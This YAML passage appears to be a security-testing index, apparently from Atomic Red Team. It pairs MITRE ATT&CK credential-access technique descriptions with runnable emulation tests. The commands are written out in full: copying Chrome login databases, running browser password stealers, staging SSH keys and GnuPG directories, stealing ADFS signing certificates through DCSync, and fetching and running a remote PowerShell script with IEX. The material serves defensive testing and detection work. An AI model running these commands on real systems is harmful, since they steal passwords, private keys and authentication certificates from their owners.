      auto_generated_guid: 124e13e5-d8a1-4378-a6ee-a53cd0c7e369
      description: "This test locates the Login Data files used by Chrome to store
        encrypted credentials, then copies them to the temp directory for later exfil.
        \nOnce the files are exfiltrated, malware like CookieMiner could be used to
        perform credential extraction. \nSee https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
        . \n"
      supported_platforms:
      - macos
      executor:
        command: |
          cp ~/Library/"Application Support/Google/Chrome/Default/Login Data" "/tmp/T1555.003_Login Data"
          cp ~/Library/"Application Support/Google/Chrome/Default/Login Data For Account" "/tmp/T1555.003_Login Data For Account"
        cleanup_command: |
          rm "/tmp/T1555.003_Login Data" >/dev/null 2>&1
          rm "/tmp/T1555.003_Login Data For Account" >/dev/null 2>&1
        name: sh
    - name: WebBrowserPassView - Credentials from Browser
      auto_generated_guid: e359627f-2d90-4320-ba5e-b0f878155bbe
      description: The following Atomic test utilizes WebBrowserPassView to extract
        passwords from browsers on a Window system. WebBrowserPassView is an open
        source application used to retrieve passwords stored on a local computer.
        Recently noticed as a tool used in the BlackCat Ransomware.
      supported_platforms:
      - windows
      input_arguments:
        webbrowserpassview_path:
          description: 'Path to the WebBrowserPassView executable '
          type: string
          default: PathToAtomicsFolder\T1555.003\bin\WebBrowserPassView.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Check if WebBrowserPassView.exe exists in the specified path
          #{webbrowserpassview_path}

          '
        prereq_command: 'if (Test-Path "#{webbrowserpassview_path}") {exit 0} else
          {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\T1555.003\bin\" -ErrorAction ignore -Force | Out-Null
          Invoke-WebRequest https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1555.003/bin/WebBrowserPassView.exe -OutFile "#{webbrowserpassview_path}"
      executor:
        command: |
          Start-Process "#{webbrowserpassview_path}"
          Start-Sleep -Second 4
          Stop-Process -Name "WebBrowserPassView"
        name: powershell
        elevation_required: true
    - name: BrowserStealer (Chrome / Firefox / Microsoft Edge)
      auto_generated_guid: 6f2c5c87-a4d5-4898-9bd1-47a55ecaf1dd
      description: |
        [Github Repo](https://github.com/SaulBerrenson/BrowserStealer) Simple password/cookies stealer for chrome, edge, and gecko based browsers (30 listed working). This attack simulates stealing the data from the browser files and printing them to the command line.
        If using to test with Firefox, if the browser is x64 you need to use the x64 build
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Firefox must be on the device.

          '
        prereq_command: 'if ((Test-Path "C:\Program Files\Mozilla Firefox\firefox.exe")
          -Or (Test-Path "C:\Program Files (x86)\Mozilla Firefox\firefox.exe")) {exit
          0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          $installer = "PathToAtomicsFolder\..\ExternalPayloads\FirefoxStubInstaller.exe"
          Invoke-WebRequest -OutFile $installer "https://download.mozilla.org/?product=firefox-stub&os=win&lang=en-US"
          Start-Process -FilePath $installer -Wait
          Stop-Process -Name "firefox"
      - description: 'BrowserCollector must exist in the bin directory

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\T1555.003\bin\BrowserCollector.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |-
          New-Item -Type Directory "PathToAtomicsFolder\T1555.003\bin\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/SaulBerrenson/BrowserStealer/releases/download/1.0.0.4/BrowserCollector_x64.exe" -Outfile: "PathToAtomicsFolder\T1555.003\bin\BrowserCollector.exe"
      - description: 'Login Data file that is a copy of a Firefox Login Data that
          contains credentials for the tool to "steal." Must exist at the specified
          path.

          '
        prereq_command: if (Test-Path "PathToAtomicsFolder\T1555.003\src\key4.db")
          {exit 0} else {exit 1}
        get_prereq_command: "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555.003/src/key4.db?raw=true\"
          -Outfile: \"PathToAtomicsFolder\\T1555.003\\src\\key4.db\"\nInvoke-WebRequest
          \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555.003/src/logins.json?raw=true\"
          -Outfile: \"PathToAtomicsFolder\\T1555.003\\src\\logins.json\" "
      executor:
        command: |
          $profile = (Gci -filter "*default-release*" -path $env:Appdata\Mozilla\Firefox\Profiles\).FullName
          Copy-Item $profile\key4.db -Destination "PathToAtomicsFolder\..\ExternalPayloads" > $null
          Copy-Item $profile\logins.json -Destination "PathToAtomicsFolder\..\ExternalPayloads" > $null
          Remove-Item $profile\key4.db > $null
          Remove-Item $profile\logins.json > $null
          Copy-Item "$env:PathToAtomicsFolder\T1555.003\src\key4.db" -Destination $profile\ > $null
          Copy-Item "$env:PathToAtomicsFolder\T1555.003\src\logins.json" -Destination $profile\ > $null
          cd "$env:PathToAtomicsFolder\T1555.003\bin"
          ""|.\BrowserCollector.exe
        cleanup_command: |
          $profile = (Gci -filter "*default-release*" -path $env:Appdata\Mozilla\Firefox\Profiles\).FullName
          Remove-Item $profile\key4.db > $null
          Remove-Item $profile\logins.json > $null
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads" -Destination $profile\ > $null
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\key4.db" > $null
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\logins.json" > $null
        name: powershell
    - name: Dump Chrome Login Data with esentutl
      auto_generated_guid: 70422253-8198-4019-b617-6be401b49fce
      description: |
        This test simulates an adversary using esentutl to dump encrypted credentials from Google Chrome's Login database.
        [Reference](https://actzero.ai/resources/blog/hygiene-tip-shut-down-attackers-harvesting-cached-browser-credentials/)
      supported_platforms:
      - windows
      input_arguments:
        output_path:
          description: File path for login data dump
          type: string
          default: "%temp%\\T1555.003_Login_Data.tmp"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Chrome must be installed

          '
        prereq_command: if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe")
          -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"))
          {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          $installer = "PathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.msi"
          Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.msi" https://dl.google.com/chrome/install/googlechromestandaloneenterprise64.msi
          msiexec /i $installer /qn
          Start-Process -FilePath "chrome.exe"
          Stop-Process -Name "chrome"
      executor:
        name: command_prompt
        command: 'esentutl.exe /y "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login
          Data" /d "#{output_path}"

          '
        cleanup_command: 'del /f /q #{output_path} > nul 2>&1

          '
  T1557.003:
    technique:
      modified: '2022-11-08T14:00:00.188Z'
      name: DHCP Spoofing
      description: "Adversaries may redirect network traffic to adversary-owned systems
        by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting
        as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle
        (AiTM) position, adversaries may collect network communications, including
        passed credentials, especially those sent over insecure, unencrypted protocols.
        This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040)
        or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP
        is based on a client-server model and has two functionalities: a protocol
        for providing network configuration settings from a DHCP server to a client
        and a mechanism for allocating network addresses to clients.(Citation: rfc2131)
        The typical server-client interaction is as follows: \n\n1. The client broadcasts
        a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which
        includes an available network address. \n\n3. The client broadcasts a `REQUEST`
        message, which includes the network address offered. \n\n4. The server acknowledges
        with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries
        may spoof as a rogue DHCP server on the victim network, from which legitimate
        hosts may receive malicious network configurations. For example, malware can
        act as a DHCP server and provide adversary-owned DNS servers to the victimized
        computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g)
        Through the malicious network configurations, an adversary may achieve the
        AiTM position, route client traffic through adversary-controlled systems,
        and collect information from the client network.\n\nDHCPv6 clients can receive
        network configuration information without being assigned an IP address by
        sending a <code>INFORMATION-REQUEST (code 11)</code> message to the <code>All_DHCP_Relay_Agents_and_Servers</code>
        multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP
        server to respond to this request message with malicious network configurations.\n\nRather
        than establishing an AiTM position, adversaries may also abuse DHCP spoofing
        to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002))
        by generating many broadcast DISCOVER messages to exhaust a network’s DHCP
        allocation pool. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_detection: 'Monitor network traffic for suspicious/malicious behavior
        involving DHCP, such as changes in DNS and/or gateway parameters. Additionally,
        monitor Windows logs for Event IDs (EIDs) 1341, 1342, 1020 and 1063, which
        specify that the IP allocations are low or have run out; these EIDs may indicate
        a denial of service attack.(Citation: dhcp_serv_op_events)(Citation: solution_monitor_dhcp_scopes)'
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.1'
      x_mitre_contributors:
      - Alex Spivakovsky, Pentera
      - Andrew Allen, @whitehat_zero
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Flow'
      type: attack-pattern
      id: attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5
      created: '2022-03-24T19:30:56.727Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1557/003
        external_id: T1557.003
      - source_name: rfc2131
        description: Droms, R. (1997, March). Dynamic Host Configuration Protocol.
          Retrieved March 9, 2022.
        url: https://datatracker.ietf.org/doc/html/rfc2131
      - source_name: new_rogue_DHCP_serv_malware
        description: Irwin, Ullrich, J. (2009, March 16). new rogue-DHCP server malware.
          Retrieved January 14, 2022.
        url: https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/
      - source_name: rfc3315
        description: J. Bound, et al. (2003, July). Dynamic Host Configuration Protocol
          for IPv6 (DHCPv6). Retrieved June 27, 2022.
        url: https://datatracker.ietf.org/doc/html/rfc3315
      - source_name: dhcp_serv_op_events
        description: Microsoft. (2006, August 31).  DHCP Server Operational Events.
          Retrieved March 7, 2022.
        url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)
      - source_name: solution_monitor_dhcp_scopes
        description: 'Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes
          and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved
          March 7, 2022.'
        url: https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/
      - source_name: w32.tidserv.g
        description: Symantec. (2009, March 22). W32.Tidserv.G. Retrieved January
          14, 2022.
        url: https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1552.004:
    technique:
      modified: '2023-04-12T23:52:08.194Z'
      name: 'Unsecured Credentials: Private Keys'
      description: "Adversaries may search for private key certificate files on compromised
        systems for insecurely stored credentials. Private cryptographic keys and
        certificates are used for authentication, encryption/decryption, and digital
        signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate
        file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer,
        .p7b, .asc. \n\nAdversaries may also look in common key directories, such
        as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:&#92;Users&#92;(username)&#92;.ssh&#92;</code>
        on Windows. Adversary tools may also search compromised systems for file extensions
        relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation:
        Palo Alto Prince of Persia)\n\nWhen a device is registered to Azure AD, a
        device key and a transport key are generated and used to verify the device’s
        identity.(Citation: Microsoft Primary Refresh Token) An adversary with access
        to the device may be able to export the keys in order to impersonate the device.(Citation:
        AADInternals Azure AD Device Identities)\n\nOn network devices, private keys
        may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)
        commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \n\nSome
        private keys require a password or passphrase for operation, so an adversary
        may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for
        keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110)
        the passphrase off-line. These private keys can be used to authenticate to
        [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for
        use in decrypting other collected files such as email."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Itzik Kotler, SafeBreach
      - Austin Clark, @c2defense
      x_mitre_deprecated: false
      x_mitre_detection: Monitor access to files and directories related to cryptographic
        keys and certificates as a means for potentially detecting access patterns
        that may indicate collection and exfiltration activity. Collect authentication
        logs and look for potentially abnormal activity that may indicate improper
        use of keys or certificates for remote authentication. For network infrastructure
        devices, collect AAA logging to monitor for private keys being exported.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Access'
      type: attack-pattern
      id: attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf
      created: '2020-02-04T13:06:49.258Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1552/004
        external_id: T1552.004
      - source_name: Palo Alto Prince of Persia
        description: Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia
          – Game Over. Retrieved July 5, 2017.
        url: https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/
      - source_name: cisco_deploy_rsa_keys
        description: 'Cisco. (2023, February 17). Chapter: Deploying RSA Keys Within
          a PKI . Retrieved March 27, 2023.'
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/sec_conn_pki/configuration/xe-17/sec-pki-xe-17-book/sec-deploy-rsa-pki.html#GUID-1CB802D8-9DE3-447F-BECE-CF22F5E11436
      - source_name: AADInternals Azure AD Device Identities
        description: Dr. Nestori Syynimaa. (2022, February 15). Stealing and faking
          Azure AD device identities. Retrieved February 21, 2023.
        url: https://aadinternals.com/post/deviceidentity/
      - source_name: Kaspersky Careto
        description: Kaspersky Labs. (2014, February 11). Unveiling “Careto” - The
          Masked APT. Retrieved July 5, 2017.
        url: https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf
      - source_name: Microsoft Primary Refresh Token
        description: Microsoft. (2022, September 9). What is a Primary Refresh Token?.
          Retrieved February 21, 2023.
        url: https://learn.microsoft.com/en-us/azure/active-directory/devices/concept-primary-refresh-token
      - source_name: Wikipedia Public Key Crypto
        description: Wikipedia. (2017, June 29). Public-key cryptography. Retrieved
          July 5, 2017.
        url: https://en.wikipedia.org/wiki/Public-key_cryptography
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1552.004
    atomic_tests:
    - name: Private Keys
      auto_generated_guid: 520ce462-7ca7-441e-b5a5-f8347f632696
      description: |
        Find private keys on the Windows file system.
        File extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc
      supported_platforms:
      - windows
      executor:
        command: 'dir c:\ /b /s .key | findstr /e .key

          '
        name: command_prompt
        elevation_required: true
    - name: Discover Private SSH Keys
      auto_generated_guid: 46959285-906d-40fa-9437-5a439accd878
      description: 'Discover private SSH keys on a FreeBSD, macOS or Linux system.

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        search_path:
          description: Path where to start searching from.
          type: path
          default: "/"
        output_file:
          description: Output file containing locations of SSH key files
          type: path
          default: "/tmp/keyfile_locations.txt"
      executor:
        command: |
          find #{search_path} -name id_rsa 2>/dev/null >> #{output_file}
          exit 0
        cleanup_command: 'rm #{output_file}

          '
        name: sh
    - name: Copy Private SSH Keys with CP
      auto_generated_guid: 7c247dc7-5128-4643-907b-73a76d9135c3
      description: 'Copy private SSH keys on a Linux system to a staging folder using
        the `cp` command.

        '
      supported_platforms:
      - linux
      input_arguments:
        search_path:
          description: Path where to start searching from.
          type: path
          default: "/"
        output_folder:
          description: Output folder containing copies of SSH private key files
          type: path
          default: "/tmp/art-staging"
      executor:
        command: |
          mkdir #{output_folder}
          find #{search_path} -name id_rsa 2>/dev/null -exec cp --parents {} #{output_folder} \;
          exit 0
        cleanup_command: 'rm -rf #{output_folder}

          '
        name: sh
    - name: Copy Private SSH Keys with CP (freebsd)
      auto_generated_guid: 12e4a260-a7fd-4ed8-bf18-1a28c1395775
      description: 'Copy private SSH keys on a FreeBSD system to a staging folder
        using the `cp` command.

        '
      supported_platforms:
      - linux
      input_arguments:
        search_path:
          description: Path where to start searching from.
          type: path
          default: "/"
        output_folder:
          description: Output folder containing copies of SSH private key files
          type: path
          default: "/tmp/art-staging"
      dependency_executor_name: sh
      dependencies:
      - description: 'Install GNU cp from coreutils package.

          '
        prereq_command: 'if [ ! -x "$(command -v gcp)" ]; then exit 1; else exit 0;
          fi;

          '
        get_prereq_command: "(which pkg && pkg install -y coreutils)\n"
      executor:
        command: |
          mkdir #{output_folder}
          find #{search_path} -name id_rsa 2>/dev/null -exec gcp --parents {} #{output_folder} \;
        cleanup_command: 'rm -rf #{output_folder}

          '
        name: sh
    - name: Copy Private SSH Keys with rsync
      auto_generated_guid: 864bb0b2-6bb5-489a-b43b-a77b3a16d68a
      description: 'Copy private SSH keys on a Linux or macOS system to a staging
        folder using the `rsync` command.

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        search_path:
          description: Path where to start searching from.
          type: path
          default: "/"
        output_folder:
          description: Output folder containing copies of SSH private key files
          type: path
          default: "/tmp/art-staging"
      executor:
        command: |
          mkdir #{output_folder}
          find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \;
          exit 0
        cleanup_command: 'rm -rf #{output_folder}

          '
        name: sh
    - name: Copy Private SSH Keys with rsync (freebsd)
      auto_generated_guid: 922b1080-0b95-42b0-9585-b9a5ea0af044
      description: 'Copy private SSH keys on a FreeBSD system to a staging folder
        using the `rsync` command.

        '
      supported_platforms:
      - linux
      input_arguments:
        search_path:
          description: Path where to start searching from.
          type: path
          default: "/"
        output_folder:
          description: Output folder containing copies of SSH private key files
          type: path
          default: "/tmp/art-staging"
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if rsync is installed.

          '
        prereq_command: 'if [ ! -x "$(command -v rsync)" ]; then exit 1; else exit
          0; fi;

          '
        get_prereq_command: "(which pkg && pkg install -y rsync)\n"
      executor:
        command: |
          mkdir #{output_folder}
          find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \;
        cleanup_command: 'rm -rf #{output_folder}

          '
        name: sh
    - name: Copy the users GnuPG directory with rsync
      auto_generated_guid: 2a5a0601-f5fb-4e2e-aa09-73282ae6afca
      description: 'Copy the users GnuPG (.gnupg) directory on a Mac or Linux system
        to a staging folder using the `rsync` command.

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        search_path:
          description: Path where to start searching from
          type: path
          default: "/"
        output_folder:
          description: Output folder containing a copy of the .gnupg directory
          type: path
          default: "/tmp/GnuPG"
      executor:
        command: |
          mkdir #{output_folder}
          find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \;
          exit 0
        cleanup_command: 'rm -rf #{output_folder}

          '
        name: sh
    - name: Copy the users GnuPG directory with rsync (freebsd)
      auto_generated_guid: b05ac39b-515f-48e9-88e9-2f141b5bcad0
      description: 'Copy the users GnuPG (.gnupg) directory on a FreeBSD system to
        a staging folder using the `rsync` command.

        '
      supported_platforms:
      - linux
      input_arguments:
        search_path:
          description: Path where to start searching from
          type: path
          default: "/"
        output_folder:
          description: Output folder containing a copy of the .gnupg directory
          type: path
          default: "/tmp/GnuPG"
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if rsync is installed.

          '
        prereq_command: 'if [ ! -x "$(command -v rsync)" ]; then exit 1; else exit
          0; fi;

          '
        get_prereq_command: "(which pkg && pkg install -y rsync)\n"
      executor:
        command: |
          mkdir #{output_folder}
          find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \;
        cleanup_command: 'rm -rf #{output_folder}

          '
        name: sh
    - name: ADFS token signing and encryption certificates theft - Local
      auto_generated_guid: 78e95057-d429-4e66-8f82-0f060c1ac96f
      description: |
        Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as Administrator on an ADFS server.
        Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'AADInternals module must be installed.

          '
        prereq_command: 'if (Get-Module AADInternals) {exit 0} else {exit 1}

          '
        get_prereq_command: 'Install-Module -Name AADInternals -Force

          '
      executor:
        command: |
          Import-Module AADInternals -Force
          Export-AADIntADFSCertificates
          Get-ChildItem | Where-Object {$_ -like "ADFS*"}
          Write-Host "`nCertificates retrieved successfully"
        cleanup_command: |
          Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
          Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore
        name: powershell
    - name: ADFS token signing and encryption certificates theft - Remote
      auto_generated_guid: cab413d8-9e4a-4b8d-9b84-c985bd73a442
      description: |
        Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as a Domain Administrators user on a domain-joined computer.
        Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.
      supported_platforms:
      - windows
      input_arguments:
        adfs_service_account_name:
          description: Name of the ADFS service account
          type: string
          default: adfs_svc
        replication_user:
          description: Username with replication rights. It can be the Domain Admin
            running the script
          type: string
          default: Administrator
        replication_password:
          description: Password of replication_username
          type: string
          default: ReallyStrongPassword
        adfs_server_name:
          description: Name of an ADFS server
          type: string
          default: sts.contoso.com
      dependency_executor_name: powershell
      dependencies:
      - description: 'AADInternals and ActiveDirectory modules must be installed.

          '
        prereq_command: 'if ($(Get-Module AADInternals) -or $(Get-Module -ListAvailable
          -Name ActiveDirectory)) {echo 0} else {echo 1}

          '
        get_prereq_command: 'Install-Module -Name AADInternals -Force

          '
      executor:
        command: "Import-Module ActiveDirectory -Force \nImport-Module AADInternals
          -Force | Out-Null\n#Get Configuration\n$dcServerName = (Get-ADDomainController).HostName\n$svc
          = Get-ADObject -filter * -Properties objectguid,objectsid | Where-Object
          name -eq \"#{adfs_service_account_name}\"\n$PWord = ConvertTo-SecureString
          -String \"#{replication_password}\" -AsPlainText -Force\n$Credential = New-Object
          -TypeName System.Management.Automation.PSCredential -ArgumentList #{replication_user},
          $PWord\n# use DCSync to fetch the ADFS service account's NT hash\n$hash
          = Get-AADIntADUserNTHash -ObjectGuid $svc.ObjectGuid -Credentials $Credential
          -Server $dcServerName -AsHex\n$ADFSConfig = Export-AADIntADFSConfiguration
          -Hash $hash -SID $svc.Objectsid.Value -Server #{adfs_server_name}\n# Get
          certificates decryption key\n$Configuration = [xml]$ADFSConfig\n$group =
          $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.Group\n$container
          = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ContainerName\n$parent
          = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ParentContainerDn\n$base
          = \"LDAP://CN=$group,$container,$parent\"\n$ADSearch = [System.DirectoryServices.DirectorySearcher]::new([System.DirectoryServices.DirectoryEntry]::new($base))\n$ADSearch.Filter
          = '(name=CryptoPolicy)'\n$ADSearch.PropertiesToLoad.Clear()\n$ADSearch.PropertiesToLoad.Add(\"displayName\")
          | Out-Null\n$aduser = $ADSearch.FindOne()\n$keyObjectGuid = $ADUser.Properties[\"displayName\"]
          \n$ADSearch.PropertiesToLoad.Clear()\n$ADSearch.PropertiesToLoad.Add(\"thumbnailphoto\")
          | Out-Null\n$ADSearch.Filter=\"(l=$keyObjectGuid)\"\n$aduser=$ADSearch.FindOne()
          \n$key=[byte[]]$aduser.Properties[\"thumbnailphoto\"][0] \n# Get encrypted
          certificates from configuration and decrypt them\nExport-AADIntADFSCertificates
          -Configuration $ADFSConfig -Key $key\nGet-ChildItem | Where-Object {$_ -like
          \"ADFS*\"}\nWrite-Host \"`nCertificates retrieved successfully\"\n"
        cleanup_command: |
          Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
          Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore
        name: powershell
    - name: CertUtil ExportPFX
      auto_generated_guid: 336b25bf-4514-4684-8924-474974f28137
      description: |
        The following Atomic test simulates adding a generic non-malicious certificate to the Root certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog. In addition, this Atomic utilizes CertUtil to export the PFX (ExportPFX), similar to what was seen in the Golden SAML attack.
        Keys will look like - \SystemCertificates\CA\Certificates or \SystemCertificates\Root\Certificates
        Reference: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
        Reference: https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html
      supported_platforms:
      - windows
      input_arguments:
        output:
          description: file path to export to
          type: path
          default: c:\temp\atomic.pfx
        password:
          description: password for cert
          type: string
          default: password
      executor:
        command: "IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1'
          -UseBasicParsing) \ncertutil.exe -p #{password} -exportPFX Root 1F3D38F280635F275BE92B87CF83E40E40458400
          #{output}\n"
        cleanup_command: "Get-ChildItem -Path Cert:\\ -Recurse | Where-Object { $_.Thumbprint
          -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item \n"
        name: powershell
        elevation_required: true
    - name: Export Root Certificate with Export-PFXCertificate
      auto_generated_guid: 7617f689-bbd8-44bc-adcd-6f8968897848
      description: |
        Creates a Root certificate and exports it with Export-PFXCertificate PowerShell Cmdlet.
        Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-PFXCertificate.
      supported_platforms:
      - windows
      input_arguments:
        pfx_path:
          description: output path of the certificate
          type: string
          default: "$env:Temp\\atomicredteam.pfx"
      executor:
        command: |
          $mypwd = ConvertTo-SecureString -String "AtomicRedTeam" -Force -AsPlainText
          $cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My
          Set-Location Cert:\LocalMachine\My
          Get-ChildItem -Path $cert.Thumbprint | Export-PfxCertificate -FilePath #{pfx_path} -Password $mypwd
        cleanup_command: |
          try {
          $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My
          Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
          Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
          } catch { }
        name: powershell
        elevation_required: true
    - name: Export Root Certificate with Export-Certificate
      auto_generated_guid: 78b274f8-acb0-428b-b1f7-7b0d0e73330a
      description: |
        Creates a Root certificate and exports it with Export-Certificate PowerShell Cmdlet.
        Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-Certificate.
      supported_platforms:
      - windows
      input_arguments:
        pfx_path:
          description: Path of the certificate
          type: path
          default: "$env:Temp\\AtomicRedTeam.cer"
      executor:
        command: |
          $cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My
          Set-Location Cert:\LocalMachine\My
          Export-Certificate -Type CERT -Cert  Cert:\LocalMachine\My\$($cert.Thumbprint) -FilePath #{pfx_path}
        cleanup_command: |
          try {
             $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My -ErrorAction Ignore
             Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
             Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
          }
          catch { }
        name: powershell
        elevation_required: true
    - name: Export Certificates with Mimikatz
      auto_generated_guid: 290df60e-4b5d-4a5e-b0c7-dc5348ea0c86
      description: |
        The following Atomic test will utilize Mimikatz to extract the certificates from the local system My store. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
        A successful attempt will stdout the certificates and write multiple .pfx and .der files to disk.
      supported_platforms:
      - windows
      input_arguments:
        mimikatz_exe:
          description: Path of the Mimikatz binary
          type: string
